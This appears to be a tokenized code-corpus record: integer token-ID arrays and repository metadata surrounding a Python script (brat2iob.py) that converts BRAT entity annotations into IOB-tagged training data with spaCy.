1678,
1095,
29889,
14506,
353,
5253,
29909,
13,
462,
1678,
1583,
29889,
12071,
29924,
21081,
29903,
8276,
580,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
842,
2001,
29898,
8516,
29897,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
462,
1678,
26324,
29889,
17293,
292,
13789,
29889,
5504,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
462,
1678,
736,
13,
18884,
25342,
2944,
29909,
322,
2944,
29933,
322,
2944,
29909,
29889,
19629,
580,
1275,
2944,
29933,
29889,
19629,
7295,
13,
462,
1678,
565,
5253,
29909,
718,
5253,
29933,
5277,
2944,
29909,
29889,
657,
7976,
7264,
3505,
7295,
13,
462,
4706,
1095,
29889,
14506,
353,
5253,
29909,
718,
5253,
29933,
13,
462,
4706,
1583,
29889,
12071,
29924,
21081,
29903,
8276,
580,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
667,
353,
6213,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
462,
4706,
26324,
29889,
17293,
292,
13789,
29889,
5504,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
462,
4706,
736,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
270,
353,
2944,
29909,
29889,
657,
7976,
7264,
3505,
580,
448,
1095,
29889,
14506,
13,
462,
4706,
1095,
29889,
14506,
353,
2944,
29909,
29889,
657,
7976,
7264,
3505,
580,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
22361,
270,
13,
462,
4706,
26324,
29889,
17293,
292,
13789,
29889,
5504,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
462,
4706,
736,
13,
18884,
1683,
29901,
13,
462,
1678,
1095,
29889,
842,
2001,
29898,
667,
29909,
29897,
13,
462,
1678,
1095,
29889,
14506,
353,
5253,
29909,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
842,
2001,
29898,
667,
29933,
29897,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
353,
5253,
29933,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
462,
1678,
26324,
29889,
17293,
292,
13789,
29889,
5504,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
462,
1678,
736,
13,
4706,
25342,
2826,
1275,
9495,
29889,
22789,
3912,
29901,
13,
9651,
565,
1583,
29889,
13529,
292,
29918,
2536,
327,
29901,
13,
18884,
21497,
353,
1583,
29889,
657,
10923,
29898,
29916,
29892,
343,
29897,
13,
18884,
565,
21497,
322,
313,
13,
462,
1678,
313,
13,
462,
4706,
21497,
29889,
667,
13,
462,
4706,
322,
21497,
29889,
667,
29889,
19629,
580,
1275,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
667,
29889,
19629,
580,
13,
462,
1678,
1723,
13,
462,
1678,
470,
451,
21497,
29889,
667,
13,
462,
1125,
13,
462,
1678,
565,
21497,
29889,
14506,
718,
29871,
29896,
5277,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
667,
29889,
657,
7976,
7264,
3505,
7295,
13,
462,
4706,
21497,
29889,
14506,
4619,
29871,
29896,
13,
462,
4706,
21497,
29889,
842,
2001,
29898,
1311,
29889,
13529,
292,
29918,
2536,
327,
29889,
667,
29889,
19629,
3101,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
22361,
29871,
29896,
13,
462,
4706,
565,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
1275,
29871,
29900,
29901,
13,
462,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29916,
29892,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29891,
353,
1583,
29889,
13529,
292,
29918,
2962,
13,
462,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
462,
9651,
26324,
29889,
17293,
292,
13789,
29889,
5504,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
4706,
25342,
313,
13,
9651,
2826,
1275,
9495,
29889,
29924,
1367,
29928,
1307,
13,
9651,
322,
451,
1583,
29889,
13529,
292,
29918,
2536,
327,
13,
9651,
322,
1583,
29889,
6207,
29889,
29887,
314,
331,
356,
1275,
29871,
29896,
13,
308,
1125,
13,
9651,
21497,
353,
1583,
29889,
657,
10923,
29898,
29916,
29892,
343,
29897,
13,
9651,
565,
451,
21497,
29889,
667,
29901,
13,
18884,
736,
13,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
1583,
29889,
9290,
29918,
2536,
327,
13,
9651,
1583,
29889,
13529,
292,
29918,
2962,
353,
313,
29900,
29892,
29871,
29900,
29897,
13,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
842,
2001,
29898,
2536,
327,
29889,
667,
29897,
13,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
353,
21497,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
13,
13,
1678,
822,
373,
29918,
15769,
29918,
29885,
8194,
29898,
1311,
29892,
1741,
978,
29892,
921,
29892,
343,
29892,
15414,
29892,
13475,
1125,
13,
4706,
565,
1583,
29889,
13529,
292,
29918,
2536,
327,
29901,
13,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29916,
29892,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29891,
353,
921,
29892,
343,
13,
13,
1678,
822,
373,
29918,
15769,
29918,
14096,
29898,
1311,
29892,
921,
29892,
343,
29892,
2826,
29892,
878,
14903,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
679,
10923,
29898,
1311,
29892,
921,
29892,
343,
29892,
4744,
29922,
8824,
1125,
13,
4706,
1583,
29889,
1557,
272,
353,
5159,
13,
4706,
363,
321,
297,
2437,
13789,
29889,
845,
776,
29901,
13,
9651,
363,
321,
297,
2437,
13789,
29889,
262,
23886,
2611,
29961,
29872,
1822,
2536,
1862,
29901,
13,
18884,
1583,
29889,
1557,
272,
29889,
4397,
29898,
29872,
29897,
13,
13,
4706,
2243,
720,
1141,
29892,
21497,
29893,
523,
353,
29871,
29945,
29900,
29892,
29871,
29946,
29900,
13,
13,
4706,
363,
269,
297,
1583,
29889,
1557,
272,
29901,
13,
9651,
565,
921,
6736,
269,
29889,
29916,
29901,
13,
18884,
565,
921,
5277,
269,
29889,
29916,
718,
21497,
29893,
523,
29901,
13,
462,
1678,
565,
343,
6736,
269,
29889,
29891,
29901,
13,
462,
4706,
565,
343,
5277,
269,
29889,
29891,
718,
2243,
720,
1141,
29901,
13,
462,
9651,
565,
1583,
29889,
13529,
292,
29918,
2536,
327,
1275,
6213,
470,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
333,
2804,
269,
29889,
333,
29901,
13,
462,
18884,
736,
269,
13,
462,
9651,
25342,
4744,
29901,
13,
462,
18884,
1596,
29898,
29945,
29892,
269,
29892,
269,
29889,
333,
29897,
13,
462,
4706,
25342,
4744,
29901,
13,
462,
9651,
1596,
29898,
29946,
29892,
269,
29892,
269,
29889,
333,
29897,
13,
462,
1678,
25342,
4744,
29901,
13,
462,
4706,
1596,
29898,
29941,
29892,
269,
29892,
269,
29889,
333,
29897,
13,
18884,
25342,
4744,
29901,
13,
462,
1678,
1596,
29898,
29906,
29892,
269,
29892,
269,
29889,
333,
29897,
13,
9651,
25342,
4744,
29901,
13,
18884,
1596,
29898,
29896,
29892,
269,
29892,
269,
29889,
333,
29897,
13,
4706,
736,
6213,
13,
13,
1678,
822,
373,
29918,
10889,
29898,
1311,
1125,
13,
4706,
1209,
13,
13,
13,
9106,
2611,
353,
6213,
13,
13,
5215,
1426,
332,
24020,
13,
13,
13,
1990,
14574,
29950,
442,
4598,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4847,
1125,
13,
4706,
1583,
29889,
9106,
353,
4847,
13,
4706,
620,
353,
1426,
332,
24020,
29889,
13789,
29889,
13155,
29961,
1642,
29914,
16596,
29914,
726,
1973,
29914,
23569,
29914,
27078,
29914,
29882,
5708,
29918,
1217,
29889,
2732,
3108,
13,
4706,
1583,
29889,
15099,
3246,
353,
518,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
9651,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
690,
511,
13,
4706,
4514,
29871,
396,
19484,
1026,
29889,
15099,
568,
29889,
29903,
558,
568,
29898,
726,
332,
24020,
29889,
13789,
29889,
13155,
29961,
3027,
1445,
2314,
13,
4706,
363,
474,
29892,
321,
297,
26985,
29898,
1311,
29889,
15099,
3246,
1125,
13,
9651,
921,
353,
474,
334,
29871,
29906,
29900,
718,
29871,
29896,
29929,
29900,
13,
9651,
343,
353,
29871,
29947,
29900,
13,
9651,
321,
29889,
3283,
353,
313,
29916,
29892,
343,
29897,
13,
13,
1678,
822,
4216,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
9106,
29889,
29887,
314,
331,
356,
1275,
29871,
29896,
470,
1583,
29889,
9106,
29889,
29887,
314,
331,
356,
1275,
29871,
29941,
29901,
13,
9651,
736,
13,
4706,
298,
5708,
353,
1583,
29889,
9106,
29889,
29882,
5708,
13,
4706,
363,
474,
29892,
321,
297,
26985,
29898,
1311,
29889,
15099,
3246,
1125,
13,
9651,
565,
29871,
29906,
334,
313,
29875,
718,
29871,
29896,
29897,
1405,
298,
5708,
29901,
13,
18884,
321,
29889,
3027,
353,
1426,
332,
24020,
29889,
13789,
29889,
13155,
29961,
13,
462,
1678,
376,
6904,
16596,
29914,
726,
1973,
29914,
23569,
29914,
27078,
29914,
29882,
5708,
29918,
1217,
29889,
2732,
29908,
13,
18884,
4514,
13,
9651,
25342,
474,
334,
29871,
29906,
529,
298,
5708,
470,
313,
29882,
5708,
1273,
29871,
29906,
1275,
29871,
29900,
322,
474,
334,
29871,
29906,
1275,
298,
5708,
1125,
13,
18884,
321,
29889,
3027,
353,
1426,
332,
24020,
29889,
13789,
29889,
13155,
29961,
13,
462,
1678,
376,
6904,
16596,
29914,
726,
1973,
29914,
23569,
29914,
27078,
29914,
26243,
29918,
8159,
29889,
2732,
29908,
13,
18884,
4514,
13,
9651,
1683,
29901,
13,
18884,
321,
29889,
3027,
353,
1426,
332,
24020,
29889,
13789,
29889,
13155,
29961,
13,
462,
1678,
376,
6904,
16596,
29914,
726,
1973,
29914,
23569,
29914,
27078,
29914,
26243,
29918,
24498,
29889,
2732,
29908,
13,
18884,
4514,
13,
9651,
321,
29889,
4012,
580,
13,
2
] |
converters/brat2iob.py | Banguiskode/nerds | 15 | 8295 | import argparse
import operator
import os
import re
import shutil
import spacy
import tempfile
from nerds.utils import spans_to_tokens, get_logger
def segment_text_to_sentences(text_file, sentence_splitter):
""" Segment text into sentences. Text is provided by BRAT in .txt
file.
Args:
text_file (str): the full path to the BRAT .txt file.
sentence_splitter (spacy LM): SpaCy EN language model.
Returns:
sentences (list((int, int, str))): list of sentence spans.
Spans are triples of (start_offset, end_offset, text),
where offset is relative to the text.
"""
sentences = []
ftext = open(text_file, "r")
for line in ftext:
splits = sentence_splitter(line.strip())
for sent in splits.sents:
sentences.append((sent.start_char, sent.end_char, sent.text))
ftext.close()
return sentences
def parse_text_annotations(ann_file):
""" Parses BRAT annotations provided in the .ann file and converts them
to annotation spans of (start_position, end_position, entity_class).
Args:
ann_file (str): full path to the BRAT .ann file.
Returns:
annotations (list((int, int, str))): list of annotation spans.
Spans are triples of (start_offset, end_offset, entity_class)
where offset is relative to the text.
"""
annots = []
fann = open(ann_file, "r")
for line in fann:
cols = re.split(r"\s+", line.strip())
if not cols[0].startswith("T"):
continue
annots.append((int(cols[2]), int(cols[3]), cols[1]))
fann.close()
return annots
def apply_annotations(sentences, annotations, tokenizer):
""" Apply annotation spans to the sentence spans to create a list of tokens
and tags.
Args:
sentences (list((int, int, str))): list of sentence spans.
annotations (list((int, int, str))): list of annotation spans.
tokenizer (spacy LM): SpaCy EN language model.
Returns:
tokens_tags_list (list((list(str), list(str)))): list of list of token
tag pairs. Each list of token-tag pairs corresponds to a single
sentence.
"""
tokens_tags_list = []
for sent_start, sent_end, sent_text in sentences:
sent_annots = [a for a in annotations if a[0] >= sent_start and a[1] <= sent_end]
# convert document offsets to sentence offsets
sent_annots = [(s[0] - sent_start, s[1] - sent_start, s[2]) for s in sent_annots]
tokens, tags = spans_to_tokens(sent_text, sent_annots, tokenizer)
tokens_tags_list.append(zip(tokens, tags))
return tokens_tags_list
def convert_brat_to_iob(input_dir, output_file, nlp):
""" Convenience Convertor function.
Args:
input_dir (str): the directory where the BRAT .txt and .ann files
are located.
output_file (str): the full path name of file to write output in
IOB format to.
nlp (SpaCy LM): reference to the SpaCy EN model.
Returns:
None.
"""
fout = open(output_file, "w")
for text_file in os.listdir(input_dir):
# only process .txt and .ann pairs in specified directory
if not text_file.endswith(".txt"):
continue
annot_file = text_file[:-4] + ".ann"
if not os.path.exists(os.path.join(input_dir, annot_file)):
# do not process file if no corresponding .ann file
continue
# process file pair
logger.info("Processing file: {:s}".format(text_file))
sentences = segment_text_to_sentences(os.path.join(input_dir, text_file), nlp)
annotations = parse_text_annotations(os.path.join(input_dir, annot_file))
tokens_tags_list = apply_annotations(sentences, annotations, nlp)
for tokens_tags in tokens_tags_list:
for token, tag in tokens_tags:
fout.write("{:s}\t{:s}\n".format(token, tag))
fout.write("\n")
fout.close()
def do_self_test(nlp):
""" Simple self-test with small dataset to prove that this works okay. """
text = "<NAME>, 61 years old, will join the board as a nonexecutive director, Nov. 29. Mr. Vinken is chairman of Elsevier N.V., the Dutch publishing group."
annotations = [
"T1 PER 0 13 <NAME>",
"T2 PER 86 96 Mr. Vinken",
"T3 DATE 15 27 61 years old",
"T4 DATE 77 84 Nov. 29",
"T5 ORG 112 125 Elsevier N.V.",
"T6 NORP 131 136 Dutch"
]
input_dir = tempfile.mkdtemp(dir="/tmp")
ftext = open(os.path.join(input_dir, "test.txt"), "w")
ftext.write(text)
ftext.close()
fann = open(os.path.join(input_dir, "test.ann"), "w")
for line in annotations:
fann.write(line + "\n")
fann.close()
output_file = os.path.join(input_dir, "test.iob")
convert_brat_to_iob(input_dir, output_file, nlp)
fout = open(output_file, "r")
for line in fout:
logger.warn(line.strip())
shutil.rmtree(input_dir)
################################ main ################################
#
# usage: brat2iob.py [-h] [-i INPUT_DIR] [-o OUTPUT_FILE] [-t]
# Script to convert BRAT annotations to IOB (NERDS) format.
# optional arguments:
# -h, --help show this help message and exit
# -i INPUT_DIR, --input_dir INPUT_DIR
# Directory to store BRAT .txt and .ann files.
# -o OUTPUT_FILE, --output_file OUTPUT_FILE
# Output file to write IOB output to.
# -t, --test Runs self test.
######################################################################
parser = argparse.ArgumentParser(
description="Script to convert BRAT annotations to IOB (NERDS) format.")
parser.add_argument("-i", "--input_dir", help="Directory to store BRAT .txt and .ann files.")
parser.add_argument("-o", "--output_file", help="Output file to write IOB output to.")
parser.add_argument("-t", "--test", help="Runs self test.", action="store_true")
args = parser.parse_args()
logger = get_logger()
input_dir = args.input_dir
output_file = args.output_file
self_test = args.test
nlp = spacy.load("en")
if self_test:
logger.info("Executing self test...")
do_self_test(nlp)
else:
logger.info("Reading BRAT .txt and .ann files from: {:s}".format(input_dir))
logger.info("Writing IOB tokens/tags to file: {:s}".format(output_file))
convert_brat_to_iob(input_dir, output_file, nlp)
| [
1,
1053,
1852,
5510,
13,
5215,
5455,
13,
5215,
2897,
13,
5215,
337,
13,
5215,
528,
4422,
13,
5215,
805,
4135,
13,
5215,
5694,
1445,
13,
13,
3166,
302,
2018,
29879,
29889,
13239,
1053,
805,
550,
29918,
517,
29918,
517,
12360,
29892,
679,
29918,
21707,
13,
13,
1753,
10768,
29918,
726,
29918,
517,
29918,
18616,
2063,
29898,
726,
29918,
1445,
29892,
10541,
29918,
5451,
357,
1125,
13,
1678,
9995,
6667,
358,
1426,
964,
25260,
29889,
3992,
338,
4944,
491,
25185,
1299,
297,
869,
3945,
29871,
13,
4706,
934,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1426,
29918,
1445,
313,
710,
1125,
278,
2989,
2224,
304,
278,
25185,
1299,
869,
3945,
934,
29889,
13,
9651,
10541,
29918,
5451,
357,
313,
1028,
4135,
365,
29924,
1125,
1706,
29874,
29733,
12524,
4086,
1904,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
25260,
313,
1761,
3552,
524,
29892,
938,
29892,
851,
876,
1125,
1051,
310,
10541,
805,
550,
29889,
29871,
13,
18884,
1706,
550,
526,
3367,
2701,
310,
313,
2962,
29918,
10289,
29892,
1095,
29918,
10289,
29892,
1426,
511,
13,
18884,
988,
9210,
338,
6198,
304,
278,
1426,
29889,
13,
1678,
9995,
13,
1678,
25260,
353,
5159,
13,
1678,
285,
726,
353,
1722,
29898,
726,
29918,
1445,
29892,
376,
29878,
1159,
13,
1678,
363,
1196,
297,
285,
726,
29901,
13,
4706,
8536,
1169,
353,
10541,
29918,
5451,
357,
29898,
1220,
29889,
17010,
3101,
13,
4706,
363,
2665,
297,
8536,
1169,
29889,
29879,
1237,
29901,
13,
9651,
25260,
29889,
4397,
3552,
18616,
29889,
2962,
29918,
3090,
29892,
2665,
29889,
355,
29918,
3090,
29892,
2665,
29889,
726,
876,
13,
1678,
285,
726,
29889,
5358,
580,
13,
1678,
736,
25260,
13,
13,
13,
1753,
6088,
29918,
726,
29918,
6735,
800,
29898,
812,
29918,
1445,
1125,
13,
1678,
9995,
1459,
29879,
267,
25185,
1299,
25495,
4944,
297,
278,
869,
812,
934,
322,
29436,
963,
13,
4706,
304,
17195,
805,
550,
310,
313,
2962,
29918,
3283,
29892,
1095,
29918,
3283,
29892,
7855,
29918,
1990,
467,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
2889,
29918,
1445,
313,
710,
1125,
2989,
2224,
304,
278,
25185,
1299,
869,
812,
934,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
25495,
313,
1761,
3552,
524,
29892,
938,
29892,
851,
876,
1125,
1051,
310,
17195,
805,
550,
29889,
13,
18884,
1706,
550,
526,
3367,
2701,
310,
313,
2962,
29918,
10289,
29892,
1095,
29918,
10289,
29892,
7855,
29918,
1990,
29897,
13,
18884,
988,
9210,
338,
6198,
304,
278,
1426,
29889,
13,
1678,
9995,
13,
1678,
9732,
29879,
353,
5159,
13,
1678,
285,
812,
353,
1722,
29898,
812,
29918,
1445,
29892,
376,
29878,
1159,
13,
1678,
363,
1196,
297,
285,
812,
29901,
13,
4706,
28730,
353,
337,
29889,
5451,
29898,
29878,
26732,
29879,
29974,
613,
1196,
29889,
17010,
3101,
13,
4706,
565,
451,
28730,
29961,
29900,
1822,
27382,
2541,
703,
29911,
29908,
1125,
13,
9651,
6773,
13,
4706,
9732,
29879,
29889,
4397,
3552,
524,
29898,
22724,
29961,
29906,
11724,
938,
29898,
22724,
29961,
29941,
11724,
28730,
29961,
29896,
12622,
13,
1678,
285,
812,
29889,
5358,
580,
13,
1678,
736,
9732,
29879,
13,
13,
13,
1753,
3394,
29918,
6735,
800,
29898,
18616,
2063,
29892,
25495,
29892,
5993,
3950,
1125,
13,
1678,
9995,
2401,
368,
17195,
805,
550,
304,
278,
10541,
805,
550,
304,
1653,
263,
1051,
310,
18897,
13,
4706,
322,
8282,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
25260,
313,
1761,
3552,
524,
29892,
938,
29892,
851,
876,
1125,
1051,
310,
10541,
805,
550,
29889,
13,
9651,
25495,
313,
1761,
3552,
524,
29892,
938,
29892,
851,
876,
1125,
1051,
310,
17195,
805,
550,
29889,
13,
9651,
5993,
3950,
313,
1028,
4135,
365,
29924,
1125,
1706,
29874,
29733,
12524,
4086,
1904,
29889,
13,
13,
4706,
16969,
29901,
13,
9651,
18897,
29918,
11338,
29918,
1761,
313,
1761,
3552,
1761,
29898,
710,
511,
1051,
29898,
710,
13697,
29901,
1051,
310,
1051,
310,
5993,
13,
18884,
4055,
11000,
29889,
7806,
1051,
310,
5993,
29899,
4039,
11000,
16161,
304,
263,
2323,
29871,
13,
18884,
10541,
29889,
13,
1678,
9995,
13,
1678,
18897,
29918,
11338,
29918,
1761,
353,
5159,
13,
1678,
363,
2665,
29918,
2962,
29892,
2665,
29918,
355,
29892,
2665,
29918,
726,
297,
25260,
29901,
13,
4706,
2665,
29918,
812,
1862,
353,
518,
29874,
363,
263,
297,
25495,
565,
263,
29961,
29900,
29962,
6736,
2665,
29918,
2962,
322,
263,
29961,
29896,
29962,
5277,
2665,
29918,
355,
29962,
13,
4706,
396,
3588,
1842,
1283,
7224,
304,
10541,
1283,
7224,
13,
4706,
2665,
29918,
812,
1862,
353,
17288,
29879,
29961,
29900,
29962,
448,
2665,
29918,
2962,
29892,
269,
29961,
29896,
29962,
448,
2665,
29918,
2962,
29892,
269,
29961,
29906,
2314,
363,
269,
297,
2665,
29918,
812,
1862,
29962,
13,
4706,
18897,
29892,
8282,
353,
805,
550,
29918,
517,
29918,
517,
12360,
29898,
18616,
29918,
726,
29892,
2665,
29918,
812,
1862,
29892,
5993,
3950,
29897,
13,
4706,
18897,
29918,
11338,
29918,
1761,
29889,
4397,
29898,
7554,
29898,
517,
12360,
29892,
8282,
876,
13,
1678,
736,
18897,
29918,
11338,
29918,
1761,
13,
13,
13,
1753,
3588,
29918,
1182,
271,
29918,
517,
29918,
601,
29890,
29898,
2080,
29918,
3972,
29892,
1962,
29918,
1445,
29892,
302,
22833,
1125,
13,
1678,
9995,
1281,
854,
5597,
14806,
272,
740,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
1881,
29918,
3972,
313,
710,
1125,
278,
3884,
988,
278,
25185,
1299,
869,
3945,
322,
869,
812,
2066,
13,
18884,
526,
5982,
29889,
13,
9651,
1962,
29918,
1445,
313,
710,
1125,
278,
2989,
2224,
1024,
310,
934,
304,
2436,
1962,
297,
13,
18884,
10663,
29933,
3402,
304,
29889,
13,
9651,
302,
22833,
313,
29903,
3274,
29733,
365,
29924,
1125,
3407,
304,
278,
1706,
29874,
29733,
12524,
1904,
29889,
13,
13,
4706,
16969,
29901,
29871,
13,
9651,
6213,
29889,
13,
1678,
9995,
13,
1678,
285,
449,
353,
1722,
29898,
4905,
29918,
1445,
29892,
376,
29893,
1159,
13,
1678,
363,
1426,
29918,
1445,
297,
2897,
29889,
1761,
3972,
29898,
2080,
29918,
3972,
1125,
13,
4706,
396,
871,
1889,
869,
3945,
322,
869,
812,
11000,
297,
6790,
3884,
13,
4706,
565,
451,
1426,
29918,
1445,
29889,
1975,
2541,
17350,
3945,
29908,
1125,
13,
9651,
6773,
13,
4706,
9732,
29918,
1445,
353,
1426,
29918,
1445,
7503,
29899,
29946,
29962,
718,
11393,
812,
29908,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
9732,
29918,
1445,
22164,
13,
9651,
396,
437,
451,
1889,
934,
565,
694,
6590,
869,
812,
934,
13,
9651,
6773,
13,
4706,
396,
1889,
934,
5101,
13,
4706,
17927,
29889,
3888,
703,
7032,
292,
934,
29901,
12365,
29879,
29913,
1642,
4830,
29898,
726,
29918,
1445,
876,
13,
4706,
25260,
353,
10768,
29918,
726,
29918,
517,
29918,
18616,
2063,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
1426,
29918,
1445,
511,
302,
22833,
29897,
13,
4706,
25495,
353,
6088,
29918,
726,
29918,
6735,
800,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
9732,
29918,
1445,
876,
13,
4706,
18897,
29918,
11338,
29918,
1761,
353,
3394,
29918,
6735,
800,
29898,
18616,
2063,
29892,
25495,
29892,
302,
22833,
29897,
13,
4706,
363,
18897,
29918,
11338,
297,
18897,
29918,
11338,
29918,
1761,
29901,
13,
9651,
363,
5993,
29892,
4055,
297,
18897,
29918,
11338,
29901,
13,
18884,
285,
449,
29889,
3539,
703,
25641,
29879,
1012,
29873,
25641,
29879,
1012,
29876,
1642,
4830,
29898,
6979,
29892,
4055,
876,
13,
9651,
285,
449,
29889,
3539,
14182,
29876,
1159,
13,
13,
1678,
285,
449,
29889,
5358,
580,
13,
13,
13,
1753,
437,
29918,
1311,
29918,
1688,
29898,
12938,
29886,
1125,
13,
1678,
9995,
12545,
1583,
29899,
1688,
411,
2319,
8783,
304,
6356,
393,
445,
1736,
20759,
29889,
9995,
13,
1678,
1426,
353,
9872,
5813,
10202,
29871,
29953,
29896,
2440,
2030,
29892,
674,
5988,
278,
7613,
408,
263,
5642,
29916,
687,
11067,
8881,
29892,
2864,
29889,
29871,
29906,
29929,
29889,
3237,
29889,
478,
682,
264,
338,
28942,
310,
15785,
7214,
405,
29889,
29963,
1696,
278,
14872,
27256,
2318,
1213,
13,
1678,
25495,
353,
518,
13,
4706,
376,
29911,
29896,
12,
13171,
29871,
29900,
29871,
29896,
29941,
12,
29966,
5813,
28341,
13,
4706,
376,
29911,
29906,
12,
13171,
29871,
29947,
29953,
29871,
29929,
29953,
12,
20335,
29889,
478,
682,
264,
613,
13,
4706,
376,
29911,
29941,
12,
6248,
29871,
29896,
29945,
29871,
29906,
29955,
12,
29953,
29896,
2440,
2030,
613,
13,
4706,
376,
29911,
29946,
12,
6248,
29871,
29955,
29955,
29871,
29947,
29946,
12,
25363,
29889,
29871,
29906,
29929,
613,
13,
4706,
376,
29911,
29945,
12,
1955,
29954,
29871,
29896,
29896,
29906,
29871,
29896,
29906,
29945,
12,
27406,
7214,
405,
29889,
29963,
19602,
13,
4706,
376,
29911,
29953,
12,
29940,
1955,
29925,
29871,
29896,
29941,
29896,
29871,
29896,
29941,
29953,
12,
29928,
10519,
29908,
13,
1678,
4514,
13,
1678,
1881,
29918,
3972,
353,
5694,
1445,
29889,
11256,
29881,
7382,
29898,
3972,
13802,
7050,
1159,
13,
1678,
285,
726,
353,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
376,
1688,
29889,
3945,
4968,
376,
29893,
1159,
13,
1678,
285,
726,
29889,
3539,
29898,
726,
29897,
13,
1678,
285,
726,
29889,
5358,
580,
13,
1678,
285,
812,
353,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
376,
1688,
29889,
812,
4968,
376,
29893,
1159,
13,
1678,
363,
1196,
297,
25495,
29901,
13,
4706,
285,
812,
29889,
3539,
29898,
1220,
718,
6634,
29876,
1159,
13,
1678,
285,
812,
29889,
5358,
580,
13,
1678,
1962,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
376,
1688,
29889,
601,
29890,
1159,
13,
1678,
3588,
29918,
1182,
271,
29918,
517,
29918,
601,
29890,
29898,
2080,
29918,
3972,
29892,
1962,
29918,
1445,
29892,
302,
22833,
29897,
13,
1678,
285,
449,
353,
1722,
29898,
4905,
29918,
1445,
29892,
376,
29878,
1159,
13,
1678,
363,
1196,
297,
285,
449,
29901,
13,
4706,
17927,
29889,
25442,
29898,
1220,
29889,
17010,
3101,
13,
1678,
528,
4422,
29889,
1758,
8336,
29898,
2080,
29918,
3972,
29897,
13,
13,
13,
13383,
13383,
1667,
835,
13383,
7346,
4136,
29937,
13,
29937,
13,
29937,
8744,
29901,
1506,
271,
29906,
601,
29890,
29889,
2272,
21069,
29882,
29962,
21069,
29875,
2672,
12336,
29918,
9464,
29962,
21069,
29877,
19474,
12336,
29918,
7724,
29962,
21069,
29873,
29962,
13,
29937,
14415,
304,
3588,
25185,
1299,
25495,
304,
10663,
29933,
313,
13865,
8452,
29897,
3402,
29889,
13,
29937,
13136,
6273,
29901,
13,
29937,
259,
448,
29882,
29892,
1192,
8477,
9651,
1510,
445,
1371,
2643,
322,
6876,
13,
29937,
259,
448,
29875,
2672,
12336,
29918,
9464,
29892,
1192,
2080,
29918,
3972,
2672,
12336,
29918,
9464,
13,
29937,
462,
308,
18862,
304,
3787,
25185,
1299,
869,
3945,
322,
869,
812,
2066,
29889,
13,
29937,
259,
448,
29877,
19474,
12336,
29918,
7724,
29892,
1192,
4905,
29918,
1445,
19474,
12336,
29918,
7724,
13,
29937,
462,
308,
10604,
934,
304,
2436,
10663,
29933,
1962,
304,
29889,
13,
29937,
259,
448,
29873,
29892,
1192,
1688,
9651,
390,
6948,
1583,
1243,
29889,
13,
13383,
13383,
13383,
13383,
4136,
2277,
13,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
13,
1678,
6139,
543,
4081,
304,
3588,
25185,
1299,
25495,
304,
10663,
29933,
313,
13865,
8452,
29897,
